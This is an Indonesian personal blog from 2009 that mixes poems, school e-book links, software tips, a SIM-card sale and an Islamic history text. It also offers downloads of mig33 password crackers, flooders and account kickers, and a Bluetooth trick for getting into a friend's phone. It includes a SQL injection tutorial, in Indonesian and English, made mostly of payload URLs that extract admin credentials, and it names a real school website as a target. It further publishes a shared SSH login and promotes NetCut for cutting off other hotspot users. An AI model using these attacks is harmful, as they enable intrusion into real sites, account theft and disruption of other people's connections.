Senin, 03 Agustus 2009

BUKU SEKOLAH ELEKTRONIK

buat kalian yang menginginkan buku sekolah elektronik bisa anda download disini,anda bisa mendownloadnya secara gratis tanpa membayar sepeserpun,dam tri,akasih sebelumnya buat SMK N 2 Kebumen yang telah menerimaku PPL ( praktek pengembangan lapangan ) saya merasa bersyukur banget karena guru-guru dan karyawan beserta siswa-siswi bisa menerima saya dengan baik.
langsung saja ini adalah daftar buku yang bisa anda download secara gratis

1.BUKUMATEMATIKASMKPENJUALANAKUNTASIKELASXI

2.BUKUSMK10MATEMATIKATOALI

3.BUKUMTKBISNISMANAGEMEN2

Rabu, 15 Juli 2009

Puisiku

Knpa hatimu berubah ubah seperti bajumu yg kau ganti setiap waktu saat tugasmu
knpa kau berikanku benih cinta kl benih itu akan kau bunuh jua
knpa kau tumbuhkan harapan sedangkan harapan itu kau taburi pisau pisau tajam
knpa aku menangis sedangkan kau trtawa terbahak bahak ditenda coklat
knpa aku meratapi nasibku sedangkan kau senyumpun hanya palsu
mungkin tak adil untukmu jika aku milikimu karna kau begitu suci yang tak pantas tuk pendosa mati


TAK PERNAH MAMPU

Pagi yg lesu trselimuti jiwa yg pilu
pilu tak tau malu pilu tak pernah mau
tak pernah mau sadar tak pernah mau terkibar
terkibar bendera stengah tiang terkibar bendera putih duka
duka tak bertepi duka yg tak punya arti


APAKAH ITU CINTA


apa cinta adl embun yg keluarkan airnya dipagi hari sebagai tangisan tlah melihat malam
apa cinta adl sebuah ilusi yang dimiliki pemimpi yang kan hilang diawal pagi
apa cinta adl hayalan sang pemabuk yang kan slalu hilang saat tersadar
apa cinta adl sebuah air yang bening dan tenang dan kan hilang & hitam ketika ada batu kecil jatuh kedalamnya
apa cinta kata-kata sang penyair yang slalu ungkapkan dengan kesedihan

UNGKAP AKU UNTUKMU


Cintamu hanya sebuah air laut yang naik surut ketika waktu terus berganti
ketika ikan-ikan indah berenang indah di air yang bening dirimu terhanyut laksana ikan duyung yang haus akan teman-temanya
ketika rumput laut menari-nari terkena sabutan ombak kecil kau ikut kepakan indahnya
tapi aku hanya sebuah batu karang yang telah terdampar kepesisir pantai dan terus rapuh terhempas angin waktu


LAYANG-LAYANG PUTUS


Akulah serpihah kain yang kumal beserta bau yang menyengat
kau datang bagai air bening pembersih debu-debu yang telah mengering beserta noda-noda tinta
diangkatlah sebagai jemuran yang telah terkucek oleh tangan-tangan suci walopun kain kumal itu takan pernah berubah menjadi putih
setelah kain itu mengering kau terbangkan tinggi bagai layang-layang yang terbang terkena angin-angin kencang
setelah terbang tinggi kau putuskan tali penerbang layang-layangmu dan serentak layang-layang itu pun menjauh trsadar terkadar tersangkut dipepohonan yang akan segera mengering bersama waktu yang menggerogoti tubuh kain kumal itu

takut cinta

Akulah orang yang takut cinta
akulah orang takut sakit hati
aku tau jika siap mencintai juga harus siap untuk sakit hati
tapi yang aku tidak tau adalah apa maksudmu disini
apa mendekatiku karna aku adalah tempat pelampiasanmu
apa mendekatiku karna kamu emang masih mencintaiku
apa mendekatiku hanya untuk menjalin sahabat denganku
aku takut aku dekat denganmu karna begitu sulit menghilangkanmu dari hatiku
aku takut aku mengecewakanmu karna aku tak pantas untukmu
aku juga takut karna satu detik senyumu masuk kemataku maka tak cukup 1 hari,1 minggu,1 bulan bahkan 1 di hidupku untuk menghapus senyumu


TAKUTKU

Malam gelap telah usai tapi mataku tak kunjung lihat pagi
bukan karenaku ingkar dengan pagiku bukan pula aku tak bersyukur pada-MU
terbuta mataku tak lihat cahaya
walo kadang cahaya itu terlihat adanya
mungkin hanya penghibur mataku
mungkin hanya cahaya itu yang kadang ingin keluarkan sinarnya / meredup sampai tak berdaya
aku hanya orang-orang yang takut dengan cahaya dan aku jugg takut akan gelap
mungkin aku termasuk orang-orang yang takut kebahagiaan dan termasuk orang-orang yang takut dengan kesedihan
aku sendiri takut dengan senyumku apalagi dengan tangisku
walo aku selalu bersyukur pada-MU


CINTAKU

Jika cintaku adalah seserpih daun yang mengering,biarkanlah daun itu jatuh ketanah dan termakan merasuk membusuk bersama cacing cacing yang lapar dan haus tapi jika cintaku adalah sebatang pohon kecil yang layu maka siramilah dengan air-air keikhlasan bersama taburan keindahan agar kudapat tetap hidup dan keluarkan buah yang teramat manis

Puisiku

Naik turun derajat cinta
Knpa hatimu berubah ubah seperti bajumu yg kau ganti setiap waktu saat tugasmu
knpa kau berikanku benih cinta kl benih itu akan kau bunuh jua
knpa kau tumbuhkan harapan sedangkan harapan itu kau taburi pisau pisau tajam
knpa aku menangis sedangkan kau trtawa terbahak bahak ditenda coklat
knpa aku meratapi nasibku sedangkan kau senyumpun hanya palsu
mungkin tak adil untukmu jika aku milikimu karna kau begitu suci yang tak pantas tuk pendosa mati

Senin, 11 Mei 2009

mig33

1.ONIK LOVERS FREE WITHOUT PASSWORD

-set 10id
-bom enter
-spy id
-timer
-login 100/200migpro
-4 trick migpro
-bom kick
-destroy al
langsung aja downlod
DISINI





2.MSKICK3R MIG33


-1 X 2 set multy ids save&load
-spy chat
-auto leave
-auto vote
-auto kick
-fast account cheker
-past password changer
-boom r00m flooding
DOWNLOD
DISINI



3.MIG33 OF BUAT PLUDER
langsung aja downlod aplikasi FLOOD NYA
DISINI


4.ryuk v.३ flooder
idr mahal saatnya ngedloooooooooooooooooooood
donlodnya DISINI


5.app kicker mig33 ammc (new)

Aplikasi ini adl ammc yg trbaru,fiturnya hampir sama dg keluaran sblmnya,cm beda dikit.langsung aja downlod aplikasinya
DIDINI



6.terminators hack paswod

ni ada aplikasi buat hack paswod mig33 lagi,
-these tool can change 20idz password at a time
-it can chake balance of 20idz
-it can save 4 sets of 20ids
-it gos ontion to choose,if use same passwordds
-auto connect on tool option ones or 1 by 1 at a time
-whats fun,if got a put flooder i just addes it to have some fun
please reconect after usening put flooder it connec and logs in fast so no waries
-no need to reconnect mig33 pasword disconected.... You can just reconnect,than to reconect all and login them again.
langsung downlod aja
DISINI
paswrt = www.T3rmin4t0sz.Co.Cc


7.migmax o.6

mau dowlod aplikasi multi mig33 ni ada mig max,langsung aja downlod
disini



8.ammc ३.६ api.

ni adlah aplikasi mig33 ammc 3.6 api,fiturnya bagus bgt,langsung aja downlod


disini



9.sjboy mig33 jakarta

ni adalah sjboy mig33 jakarta,ini adalah sjboy edita,jd bs buat transfer idr dll

langsung aja downlod

download



10.bangsat mig33

ni adalah aplikasi multy mig33,langsung aja download

disini



11.transfer idr di mig33

ini adalah app untuk transfer idr di mug33 silahkan download


12.transfer update mig33

ini adalah aplikasi untuk transfer account atau idr, langsung aja download



download



13.Pass cracker by q_ting_aje

Fiture
-300save pasword
-sound efect (kl brhasil ada alarmnya)
d0wnlod di
DISINI


14.sj boy extrime

ini adalah sjboy extrim dg banyak plugin,jd km bs ganti-ganti tampilan hp di pc mu dg banyak pilihan,langsung aja downlod



disini

Sabtu, 09 Mei 2009

Paket m2

Anda semua sudah tau kartu keluaran indosat yg bernama M2 kan,kartu ini khusus buat internet
dijual kartu M2 dengan keterangan sebagai berikut:
1.Kartu perdana M2 dengan harga Rp 150.000,- dengan bonus internet 30jam akses
2.Bila anda mau isi ulang,anda bisa memilih paket unlimited seharga Rp 120.000,- sebulan dan paket Rp 40.000,- untuk 30jam askes untuk sebulan.
Jika anda minat silahkan post coment diblog saya ini,atau lewat friendster:kh.Saolin@yahoo.Co.Id atau lewat email=kh.Saolin@yahoo.Co.Id atau lewat mig33=xbmn atau sms saya di 085227404290 trimakasih

Jumat, 01 Mei 2009

cara hacking web.....jadul

saat ini saya rasa sudah tidak jaman lagi untuk saling kick (maaf..) tapi sekarang jamannya hacker merajalela. di negeri paman sam, banyak anak umur 12 tahun bisa membobol sebuah site hanya bermodal google. YA... google adalah alat hacking yang saat ini masih tetap berjaya dan AMPUH..

TO THE POINT..

saya akan menjelaskan tehnik hacking dengan menggunakan SQL INJECTION..
yang akan saya uraikan disini adalah untuk PHP versi 5.. untuk versi 4 saya sambung lain kali jika memang banyak peminatnya...

ok.. lets begin..

Tools yang kita butuhkan:
1. PC
2. Modem
3. Web browser ( Internet Explorer atau firefox. tapi saya anjurkan untuk memakai firefox )

Langkah-langkah:

1.) Cek Lubang/bug/celah/kesalahan pada suatu site

Misalkan kita mendapatkan target

Code:
http://www.target.com/news.php?id=5


Sekarang kita test ada bugnya atau tidak website itu dengan menambahkan di url dengan tanda petik satu atau ( ' )

Code:
contoh http://www.target.com/news.php?id=5'


Jika mucul error

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

Atau Yang mendekati

Itu berarti kita bisa gunakan SQL Injection

2). Mencari nomor dari kolom yang akan kita gunakan untuk melihat isi password atau username.

Untuk mencari nomor dari kolom kita menggunakan perintah ORDER BY

Kita melakukan perurutan nomor sampai ada error

Code:
http://www.target.com/news.php?id=5+order+by+1/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+2/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+3/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+4/*
<- error

(kita akan mendapatkan pesan seperti Unknown column '4' in 'order clause' atau sesuatu seperti itu.

Berarti kita mendapatkan kolomnya, ya itu 3, karena di 4 error.

Sedikit penjelasan, dalam penggunaan ORDER BY kita mencari pertemuan dimana website itu menjadi error dan tidak, setelah itu mendapatkannya, kita ambil yg tidak error terakhir sebelum keluar error.

3). Menggunakan fungsi UNION

Dengan menggunakan UNION kita dapat memilih lebih banyak data dalam satu statemen sql.

Jadi kita mendapatkan

Code:
http://www.target.com/news.php?id=5+UNION+SELECT+1,2,3/*
(kita telah menemukan bahwa nomor dari kolom-kolom adalah 3 di dalam bagian 2)

Sekarang lihat pada artikel, artikelnya akan berubah jadi nomor 1 atau 2 atau 3 atau keluar semuanya, itu lah gunanya UNION

4). Check versi dari MySQL

Code:
http://www.target.com/news.php?id=5+union+select+1,2,3/*


NOTE: jika /* tidak bisa atau terjadi error, coba dengan -

ini merupakan suatu komentar penting bagi query kita untuk bekerja dengan baik.

Misalkan kita mendapatkan nomor 2 di dalam tampilan, sekarang kita cek verisinya

kita buang nomor 2, ganti dengan version() atau @@version nanti akan mendapatkan seperti 4.1.33-log atau 5.0.45 atau yang mendekati.

Contoh tampilan :
Code:
http://www.target.com/news.php?id=5+union+select+1,@@version,3/*


Jika kamu mendapatkan error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

Yang kita butuhkan adalah fungsi convert()

contoh :

Code:
http://www.target.com/news.php?id=5+union+select+1,convert(@@version+using+latin1),3/*


atau dengan hex() dan unhex()

contoh :

Code:
http://www.target.com/news.php?id=5+union+all+select+1,unhex(hex(@@version)),3/*


dan kamu akan mendapatan versi MySql :D

5). Mendapatkan table dan nama column

Jika versi MySQL adalah 5 (contoh : 5.0.45, 5.0.51a-community...)

- Mencari Table

Contoh Nomor yang keluar ada 2, jadi kita masukan perintah injekan di nomor 2

Code:
http://www.target.com/news.php?id=5+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1/*


Untuk melihat table selanjutnya kita rubah limit+0,1/* menjadi limit+1,1/* lalu limit+2,1/* dst.

Sampai tabel yang dinginkan, contoh table admin

- Mencari Column

Sekarang kita cari column pada table admin

Code:
http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name='admin'+limit+0,1/*

Setandarnya bisa menggunakan itu jika quotenya off, tetapi jika quote on nama table harus di encode dengan hexa

admin = 61646D696E

Untuk dapat di baca oleh perintah SQL, harus di tambahakan 0x sihingga menjadi 0×61646D696E

Code:
http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name=0×61646D696E+limit+0,1/*


Untuk melihat colum selanjutnya tinggal merubah limitnya seperti table diatas.

Contoh column yang keluar username dan password

Sekarang kita lihat datanya :D

Code:
http://www.target.com/news.php?id=5+union+select+1,username,3+from+admin/*


Contoh data yang keluar : admin

Code:
http://www.target.com/news.php?id=5+union+select+1,password,3+from+admin/*


Contoh data yang keluar : p45w0rd

sekarang kita harus menyelesaikan query biar terlihat bagus :)

untuk itu kita menggunakan fungsi concat() (merupakan penggabungan strings)

contoh :

Quote:
http://www.target.com/news.php?id=5+union+all+select+1,concat(username,0×3a,password),3+from+admin/*

catatan : 0×3a, adalah nilai hex dari 3a, sedangkan 0x merupakan tambahan untuk dapat di baca oleh URL

(ada cara lain untuk itu dengan menggunakan, char(58), merupakan dari nilai decimal )

Code:
http://www.target.com/news.php?id=5+union+all+select+1,concat(username,char(58),password),3+from+admin/*


Maka akan muncul tampilan data : admin:p45w0rd

nah.. mudah kan? untuk penjelasan tentang bahasa pemrograman tersebut, bisa kalian buka dan pelari di http://www.w3schools.com

ini saya udah nemuin situs indo yang vuln/vulnerable/bisa pakai SQL injection untuk latihan..

http://www.smpk-stagnes-sby.sch.id/index.php?berita=5

silahkan ditest.. semoga berhasil..

maaf kalo mungkin ada yang sekolah disitu...

saya harap kalian tidak merusak isi website itu.. tolong hargai sang Admin yang sudah membuat site tersebut dengan susah payah..
setelah kalian tau passnya kalian bisa hubungi sang admin supaya dia tau kesalahan dia itu apa.

sekian dan terima kasih..

Thanks for all my best friends..

1. Xshadow (u're da best)
2. lil_sawa (thanks for ur tutor)
3. m4m4ms (thanks for ur luv)
4. all members in yogyafree


NB: untuk info lebih lanjut add nick saya aja.. :) gratis.. saya tidak meminta imbalan apapun.. kalo memang mau kasih donasi juga gapapa...yang penting ikhlas.. :) daripada nyuri ga dapet berkah :)

SALAM HANGAT...

s2006

Quote:
Sorry before to Mr. Mod.. I don't know where I have to posted..

Nowadays it's not the time for kicking each otherss (sorry...) But it's time for hacker evrywhere. In U.S, many kids 12 years old can break into one site by using google only. YUP.. Google is hacking tools, that still doing very well and very effective..

TO THE POINT..

I will explain the hacking techniques by using SQL INJECTION..
that I will describe here is for PHP 4 versions.. For 5 versions, I will continue next time, if there's a lot people who interests...

ok.. lets begin..

Tools that we needs:
1. PC
2. Modem
3. Web browser ( Internet Explorer or firefox. but I suggest to use firefox )

The steps :

1.) Check the hole/bug/groove/weakness of the sites

For exampe if we found the target

Code:
http://www.target.com/news.php?id=5


Now we test that websites if there's a bug or not by adding in url with single mark or ( ' )

Code:
contoh http://www.target.com/news.php?id=5'


If appearence is error

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

Or near with

It means we can use SQL Injection

2). Find number and column that we use to see passwords inside or username

To find number from column, we use command ORDER BY

We do numbering until the error appears

Code:
http://www.target.com/news.php?id=5+order+by+1/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+2/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+3/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+4/*
<- error

(we will get the message like Unknown column '4' in 'order clause' or something like that.

It means we get the columns, it's 3, because in 4 is error.

Liittle explanations, in ORDER BY function, we find the meeting where's the website become error and not, after that to get it, we took some that it's not error lastly before it's appeared error.

3). Using UNION Functions

By using UNION we can choose many datas in one sql statement

So we find

Code:
http://www.target.com/news.php?id=5+UNION+SELECT+1,2,3/*
(we have found the numbers of the columns is 3 inside part 2)

Now, see the article, the article will change become no. 1 or 2 or 3 or getting out all of them. It's the function of UNION

4). Check the MySQL versions

Code:
http://www.target.com/news.php?id=5+union+select+1,2,3/*


NOTE: If the /* can't be functioned or error happened, try with -

It's an important comment for our query to work better.

for example we get number 2 inside the display, now we check the versions

kita throw number 2 away, change with the versions() or @@version, so we can get 5.0.45 or the nearest byi.

Display samples :
Code:
http://www.target.com/news.php?id=5+union+select+1,@@version,3/*


If you get error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

That we need is convert() functions

Example :

Code:
http://www.target.com/news.php?id=5+union+select+1,convert(@@version+using+latin1),3/*


or with hex() and unhex()

examples :

Code:
http://www.target.com/news.php?id=5+union+all+select+1,unhex(hex(@@version)),3/*


you will find MySql versions

5). Find the table and column's name

If the versions of MySQL is 5 (examples : 5.0.45, 5.0.51a-community...)

- Find the Table

Example : the number appear 2, so we enter command in number 2

Code:
http://www.target.com/news.php?id=5+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1/*


To see the next table, we change the limit+0,1/* into limit+1,1/* then limit+2,1/* so on.

Until the table that we want, example admin€ table

- Find the column

Now we find the column in admin table

Code:
http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name='admin'+limit+0,1/*


For the standard, we can use it if the quote is off, but if the quote is on, the name of the table have to encoded with hexa

admin = 61646D696E

For reading by SQL command, have to add 0x become 0×61646D696E

Code:
http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name=0×61646D696E+limit+0,1/*


To see the next column, just change the limit like the table above.

Samples of the column that results username and the password

Now see the datas

Code:
http://www.target.com/news.php?id=5+union+select+1,username,3+from+admin/*


The appeared data : admin

Code:
http://www.target.com/news.php?id=5+union+select+1,password,3+from+admin/*


Example the appearing data : p45w0rd

We have to finish query, it appears nicely

We can use concat() function (it's string joining)

Examples :

Quote:
http://www.target.com/news.php?id=5+union+all+select+1,concat(username,0×3a,password),3+from+admin/*

Notes : 0×3a, it's value of hex fromi 3a, meanwhile 0x it's adding to get read by URL

(There's another way for that, by using, char(58), it's decimal value )

Code:
http://www.target.com/news.php?id=5+union+all+select+1,concat(username,char(58),password),3+from+admin/*


It will appear in data's display : admin:p45w0rd

It's easy right ? For programming language explanation, you can read in http://www.w3schools.com

I've already found indonesian sites that vuln/vulnerable/able to use SQL injection for training..

http://www.smpk-stagnes-sby.sch.id/index.php?berita=5

Have a tryt.. Good Luckl..

I'm sorry if somebody study there...

I hope you don't destruct the website content.. Please do respect the Admin who have made the site by working hard..
After you have found the password just contact the admin so he know what's the mistake.

That's all and thank you..

Thanks for all my best friends..

1. Xshadow (u're da best)
2. lil_sawa (thanks for ur tutor)
3. m4m4ms (thanks for ur luv)
4. all members in yogyafree


NB: For the next info just add my nick.. Free.. I dont ask the money.. But if you want to donate that's ok...The important thing is you give me freely.. It's better than steal you don't get anything

Rabu, 29 April 2009

aplikasi komputer

Folder lock

Folder lock adalah aplikasi untuk mengunci/menyembunyikan folder,crnya cukup instal aplikasinya dan masukan kode sesukamu,lalu pilih gambar folder disudut kiri atas lalu pilih folder yg akan dikunci oleh km,lalu tkan add,dan untk membukanya cukup hilangkan centang difolder tsb(buka aplikasi ini dl),saran saya kl mau buat percobaan agar folder yg tdk penting dl.Biar tau cranya.Buat yg mau download aja DISINI

google chrome


Google chrome adalah aplikasi tambahan/bajunya goole dg byk kelebihanya.
Google chrome telah diklaim sbg alat browser tercepat didunia.Apakah km sudah memakainya.Jika blm
Download aplikasi google chrome DISINI
Kelebihanya
1.Control+shift+n
bs browsing dg aman krn fitur ini tdk akan meninggalkn jejak spti yg lainya
2.Alt+home/control+alt
menampilkn smua situs/bookmark yg pnh dibuka sblmnya dlm bntk tumbail.
Alt+home =untk buka situs yg sama
control+t =buka pd halaman baru
3.Control+shift+t
membuka kmbali tab yg tdk disengaja ditutup
4.Control+tab =brpindah dg cepat untk maju
control+shift+tab =pindah dg cepat untk mundur
5.Membuka link situs dg cepat
klik kanan pd mouse scoll/klik kanan drag link ke tab browser
6.Bookmark situs dg cepat
klik tnda bintang pd bagian kiri dr address bar dr browser
7.Control+b
hilangkan&tampilkan bookmark browser dg cepat
8.Control+h
buka smua situs yg pnah dikunjungi dg cepat
9.Control+j
buka windows download file
10.Shift +escape
buka task manager google chrome dg cepat
11.Masukan kata About :plugins pd adres bar untk mlihat plugin apa aja yg ter instal pd chrome &about: crase,freeze/hang
12.Akses menu pd chrome netter bs mengakses menu2 untk meng costumize atopun optimize pd bagian kanan pd browser.Pilihlah menu yg ada gambr kunci inggris lalu option.Dll


SETUP QURAN DI MICROSFT WORD


di microsoft word bisa dimasukan setup al qur'an,langsung aja downlod aplikasinya
DISINI


win rar


winrar adalah aplikasi untuk membungkus aplikasi supaya tidak dapat termasuki virus,buat yang mau downlod win rar,langsung aja downlod
download

Convert to mp3


Convert to mp3 adalah aplikasi untuk mengecilkan memori/ukuran mpè3,yang minat download DISINI

Senin, 13 April 2009

aplikasi multy mig33 di hp

ini adalah aplikasi multy untuk hp,langsung aja downlod
DISINI

Minggu, 12 April 2009

Hack/obrak abrik hp tmenmu lewat blutut di sony ericsson

Ini adalah pnemuan tmenku yaitu bs obrak abrik smua isi hp tmenmu/pcrmu lewat blutut di hp s0ny ericsen.Cranya adl Aktifkan blutut tmenmu trus dr hpmu cr folder blutut&pencet daftar alat/alat baru kl udah ktm pncet pilh dan masukn k0de di hpmu&tmenmu 123 dan yes,trus sambungkan,dr hp tmenmu ada tlsn boleh menerima item trus tkan yes&km skrg bs obrak abrik isi hp tmenmu/pcrmu,ni jg dapat buat krm mp3/vidio dll

Kamis, 09 April 2009

blutut hacker untuk hp symbian

ini aplikasi blotot hack di hp simbyan langsung aja downlod


disini

transfer update mig33

ini adalah aplikasi untuk transfer account atau idr, langsung aja download



download

Selasa, 07 April 2009

Instal windows 7

Cara instalasi windos 7
1.Masukan DVD installernya
2.Dijendela brikutnya klik install now
3.Dilayar slanjutnya,klik pd i accept the license terms
4.Krn dsni saya ingin mlakukan fres instal,mka di opsi brikutnya pilih custom
5.Pilih drive atau partisi yg ingin dipakai oleh windos 7.Stelah itu klik next
6.Ikuti prosesnya stlah itu PC akan direstart,stlah restar slse tulis paswod yg akan km pake untk login
7.Stlah itu masukan serial number /product key yg km miliki.Jk blm py tdk apa2.Proses ini bs dilakukn stlh windos slse di instal.
8.Sesuaikan jam&wktu.Windows siap di gunakn

Senin, 06 April 2009

percepat koneksi internet 10 X hingga 100 X

Pada prinsip nya koneksi internet anda berasal dari ISP (Internet Service Provider) jadi pastilah koneksi anda sudah di limit arti nya koneksi anda hanya akan maximum sesuai dengan limit dari ISP

Exampel :
warnet A mendapatkan koneksi 512 KBPS dari ISP Dengan Transfer Rate Max 64 Kbps
Warnet B mendapatkan koneksi 384 KBPS dari ISP Dengan Transfer Rate More than 5 MBPS
Kok Bisa? padahal seharus nya koneksi warnet A lebih besar transfer rate nya

Question :
Nah kalo koneksi yang cepat pasti ada apa apanya....
Answer : Ya anda benar. Rahasia nya adalah koneksi warnet B dari ISP hanya jadi perantara koneksi dengan server lain.
Pada prinsip nya sama dengan Tunneling
(Apaan Tuh Tunneling??, tanyakan sama paman Google yaph...)
disini juga da ;
DISINI juga ada
jadi dengan Tunneling maka dapat mempercepat koneksi kita

Pertanyaan :
1. Bagaimana kalo saya menggunakan koneksi Dial up apakah bisa di naikkan juga Bandwithnya?
2. Bagaimana kalo saya menggunakan koneksi XL-GPRS/indosat 3G/handphone apakah bisa di naikkan juga Bandwithnya?

Jawaban :
Ya Tentu bisa...
jadi ngapain bayar mahal mahal bayar biaya bandwith kalo kita sendiri bisa menaikkan bandwithnya ya gak?
Bagi Pemilik ISP saya mohon maaf atas artikel ini ( hehehe )

oke sekian dulu intro nya... maka lets do the Action!!!

NOTE : Baca dari awal sampai akhir agar anda mengerti!

Untuk dapat menaikkan bandwith koneksi anda maka anda memerlukan beberapa peralatan, yaitu :
Bagi Pengguna Windows
1. Download putty.exe (klo malas nyari ini dia :
DIDINI
2. Move atau pindahkan putty ke c:/windows
3. Start ->Run -> putty -P 22 -N -D 9999 -C username@IP
4. Buka browser kesayangan anda

Pada Internet Explorer
Pilih menu Tools - Options
klik tab Connections,
klik tombol LAN Settings,
enable “use a proxy server”, lalu klik Advanced,
pada bagian kolom Sock isikan Localhost dan port isi dengan 9999 pada bagian exceptions
(Do not use proxy server for address begining with:)
isi dengan 127.0.0.1;192.168.1.1/16
lalu klik ok trus klik ok juga tombol lan settings dan klik ok juga internet options lalu tutup internet explorer anda dan refresh windows anda

pada Firefox :
Pilih menu Edit - Preferences,
klik icon Advanced,
klik tab Network,
klik tombol Settings,
klik manual proxy configuration
pada bagian kolom Sock host isikan Localhost dan port isi dengan 9999
pada bagian no proxy for isi dengan localhost,127.0.0.1;192.168.1.1/16

Bagi Pengguna LINUX
1. Buka Terminal anda
2. ssh -o "CompressionLevel=9" -C -D 9999 -p 22 -N username@IP
3. Buka browser kesayangan anda

(pada intinya, arahkan agar browser menggunakan SOCKS proxy di localhost, dan port 9999)

Pertanyaan lagi : apakah username@ip ?
Jawaban lagi: Username adalah Username dari server lain dan Ip juga adalah Ip dari server lain
saya ada server gratisan yang bisa anda pakai beramai ramai yang di berikan gratis oleh pak Harry. jadi anda bisa menggunakan nya, tapi tolong di jaga dan saya sarankan agar tidak melakukan tindakan kriminal biar awet dan bisa di pakai bersama-sama

bagi pengguna windows :
Start ->Run -> putty -P 222 -N -D 9999 -C net@cepat.abangadek.com

bagi pengguna linux :
ssh -o “CompressionLevel=9? -C -D 9999 -p 222 -N net@cepat.abangadek.com
Ketika diminta password, ketikkan cepat123

Jika tidak ada pesan apapun yang muncul di layar, maka Anda telah terkoneksi dengan
sukses ke server pak Harry.
sekarang buka
INI untuk melihat berapa koneksi anda sekarang dan buka
INI untuk melihat berapa ip anda.

Pertanyaan lagi nehh:
kenapa IP saya berubah?
Jawabannya : karna anda telah melakukan hubungan dengan server luar jadi anda mempunyai keuntungan ganda, yaitu anda mempunyai ip server luar dan kecepatan koneksi anda bertambah

Note : Kecepatan koneksi tergantung kecepatan server luar dan kecepatan koneksi antara koneksi anda dan koneksi server luar.

File :
download

penjahat bandwidth hotspot

Nama programnya Netcut, program rese.. :-| biasanya digunakan area hotspot yg dipake banyk org. Nah ini program kerjaanya jahat banget nyolong bandwidth yg seharusnya dipake yg lain dan yg lain dibikin leled.. ampe ngos ngosan sialan dah.. gw sering banget jadi korban.. :-| kalah starter.. gw gak pengen lw pake ini dan mudah2an aja udah kagak bisa tpi klopun mash bisa %) mikir dl dong sebelum pake ini...


downlod di DISINI

http://www.indowebster.com/NetCut_berguna_untuk_memutuskan_koneksi_internet_USERClient_dari_server_secara_software_tanpa_perlu_menginstall_di_sisi_client.html

cara pakenya instal aja terus restar dan jalankan aja program biadab ini terus pilih deh ip target.. (vomit)


moga bermanfaat,jangan lupa comenya

:d :lol:

agama islam dan kemuhamadiyahan

Bab VI

LEMBAGA-LEMBAGA KEMASYARAKATAN




Sebagai Negara Islam harus mempunyai lembaga-lembaga kemasyarakatan seperti pemerintahan; hukum; pengadilan; polisi; pertahanan dan pendidikan. Kaum mawali dalam prakteknya mempunyai kedudukan lebih rendah dari orang arab. Karena mempunyai kedudukan lebih tinggi, agama dan kebudayaan Arab Islam dipandang lebih tinggi pula. Kedudukan Mawali yang lebih rennndah itu di Persia pada akhirnya membawa kepada gerakan syu’ubiah, suatu gerakan yang dekat menyerupai gerakan nasionalisme dalam arti modern. Dalam gerakan ini orang prsia ingin menonjolkan kebudayaan lama mereka kembali dan membuatnya mempunyai kedudukan yang sederajat dengan kebudayaan Arab dalam masyarakat Islam yang ada di waktu itu. Orang yang memeluk agama lain terutama Kristen dan Yahudi disebut ahli al-zimmah (ﺍﻫﻞﺍﻟﺬﻣﻪ). Mereka adalah pemeluk agama lain yang memilih tetap tinggal di bawah naungan Islam dengan membayar jizyah (ﺟﺰﻳﮫ) yang dapat diartikan pajak naungan. Dalam menjalankan tugas pemerintahan, Khalifah dibantu oleh seorang wazir yang menjadi pembantu utama, penasehat dan tangan kanannya.

Di bawah wazir terdapat beberapa diwan impamanya diwan Al-Kharaj, diwan pajak tanah, Bait Al-Mal, diwan Al-Jaisy, dan lain-lain. Rapat para kepala Diwan diketuai oleh WAzir. Disamping wazir juga terdapat Hajib, hajib yang kuat dapat mempunyai kekuasaan yang lebih tinggi dari kekuasaan wazir. Ada pula Amir Al- Umara’ atau Sultan. Setelah bagdad jatuh ke tanan kekuasaan Dinasti Buwaihi dan Tentara Pengawal Turki lari di tahun 945 M, kekuasaan Amir dipegang oleh raja Buwaihi. 100 tahun kemudian kekuasaan dipegang oleh kaum Saljuk. Di zaman khalifah Harun A-Rasyid (786-809 M) pendapatan Negara berjumlah 500 juta dirham setahun. Bait Al-Mal terbagi menjadi 2, Bait Al-Mal Al-’Am dan Bait Al-Mal Al-Khas. Alat penangkut barang adalah Unta, kuda dan keledai. Untuk mengirim surat dipakai burung dara. Tentara tersusun dari harbiah (infantri), ramiah dan fursan (kavaleri). Dalam rombongan tentara terdapat pula insinyur, dokter, Qadi atau hakim petunjuk jalan dan penterjemah atau juru tulis. Kapal-kapal Sultan Sulayman (1520-1566)

Melayari perairan lautan tengah, lautan mrerah, dan lautan India. Salah satu panglima angkatan laut karajaan Usmani yang terkenal ialah Khairuddin Pasya. Pendidikan dalam sejarah islam pada mulanya diberikan di masjid tetapi sekarang diberikan di sekolah-sekolah yang disebut kuttab atau madrasah. Madrasah yang terkenal dalam islam adalah madrasah Al-Nizamiah yang didirikan oleh Nizam Al-Mulk, perdana menteri dari Sultan Saljuk Alp Arselan dan Nialiksyah pada tahun 1065 M di Bagdad. Mazhab yang diajarkan adalah mazhab Syafi’I dan aliran teologinya adalah aliran Asy’ariah. Imam Al Haramain mengajar di Nisyapur dan Al Ghazali mengajar di Bagdad. Madrasah Al-Mustansirih yang didirikan khalifah Al-Mustansirih di tahun 1234 M.dalam penyelesaian perkara kalau yang menyelesaikan Khalifah, Sultan atau Wazir sendiri, maka untuk itu diadakan hari tertentu setiap minggu di Istana; dan kalau yang menyelesaikan adalah Qadi atau nazir mazalim, maka siding diadakan tiap hari. Syurtah ialah lembaga kepolisian yang menjaga keamanan dalam kota. Kepalanya ialah sahib al-syurtah dan terkadang disebut sahib al-mu’unah atau wali. Jawaban yang diberikan oleh ahli hokum disebut fatwa dan yang memberikan jawaban itu sendiri disebut mufti. Dalam system pemerintahan kerajaan Usmani mufti resmi diberi gelar Syaikh Al-Islam.

